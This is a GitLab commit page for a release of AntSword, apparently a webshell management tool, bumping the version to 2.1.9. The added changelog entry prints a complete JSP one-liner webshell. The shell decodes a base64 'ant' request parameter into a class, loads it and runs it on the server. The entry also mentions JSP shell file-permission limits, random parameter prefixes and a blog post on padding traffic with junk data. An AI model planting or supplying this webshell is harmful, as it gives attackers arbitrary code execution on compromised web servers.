Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
1a30ec6e
Commit
1a30ec6e
authored
Sep 10, 2020
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
release v2.1.9
parent
5dfe74d3
Changes
5
Show whitespace changes
Inline
Side-by-side
Showing
5 changed files
with
52 additions
and
5 deletions
+52
-5
CHANGELOG.md
CHANGELOG.md
+48
-1
README.md
README.md
+1
-1
README_CN.md
README_CN.md
+1
-1
package-lock.json
package-lock.json
+1
-1
package.json
package.json
+1
-1
No files found.
CHANGELOG.md
View file @
1a30ec6e
...
...
@@ -2,7 +2,44 @@
> 有空会补补BUG、添添新功能。
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
## `v2.1.9-dev`
## 2020/09/10 `v(2.1.9)`
### 核心
*
新增 JSP 类型一句话支持 (
**试验功能**
)
使用的 Shell 例如:
```
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
String cls=request.getParameter("ant");
if(cls!=null){
new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext);
}
%>
```
> JSP 类型目前采用硬编码字节码方式, 编译版本为 jdk 1.7, 可根据使用场景自行编译。
代码模版参见: https://github.com/AntSwordProject/AntSword-JSP-Template
**注意**
JSP 类型 Shell 修改文件权限功能,不支持 Windows 系统,在 Linux 系统下不支持 SUID 设置
> 例如设置为 2644 实际上与 0644 效果相同
*
新增其他参数增加随机前缀
### 后端模块
...
...
@@ -20,6 +57,16 @@
测试 paper 参见:
[
yzddmr6的 Blog —— 蚁剑改造计划之增加垃圾数据
](
https://yzddmr6.tk/posts/antsword-diy-1/
)
### Security
*
Fix ViewSite security issue #256
### 其它
*
插件支持的脚本类型支持通配符
`*`
> 如果插件的 package.json 文件中的 scripts 设置为 `*`, 则可被所有类型的插件调用。
## 2019/12/04 `v(2.1.8.1)`
*
Fix ViewSite security issue thx @imagemlt
...
...
README.md
View file @
1a30ec6e
# AntSword [][url-release]
# AntSword [][url-release]
> AntSword in your hands, no worries in your mind!
...
...
README_CN.md
View file @
1a30ec6e
# 中国蚁剑 [][url-release]
# 中国蚁剑 [][url-release]
> 一剑在手,纵横无忧!
...
...
package-lock.json
View file @
1a30ec6e
{
"name"
:
"antsword"
,
"version"
:
"2.1.
8.1
"
,
"version"
:
"2.1.
9
"
,
"lockfileVersion"
:
1
,
"requires"
:
true
,
"dependencies"
:
{
...
...
package.json
View file @
1a30ec6e
{
"name"
:
"antsword"
,
"version"
:
"2.1.
8.1
"
,
"version"
:
"2.1.
9
"
,
"description"
:
"中国蚁剑是一款跨平台的开源网站管理工具"
,
"main"
:
"app.js"
,
"dependencies"
:
{
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment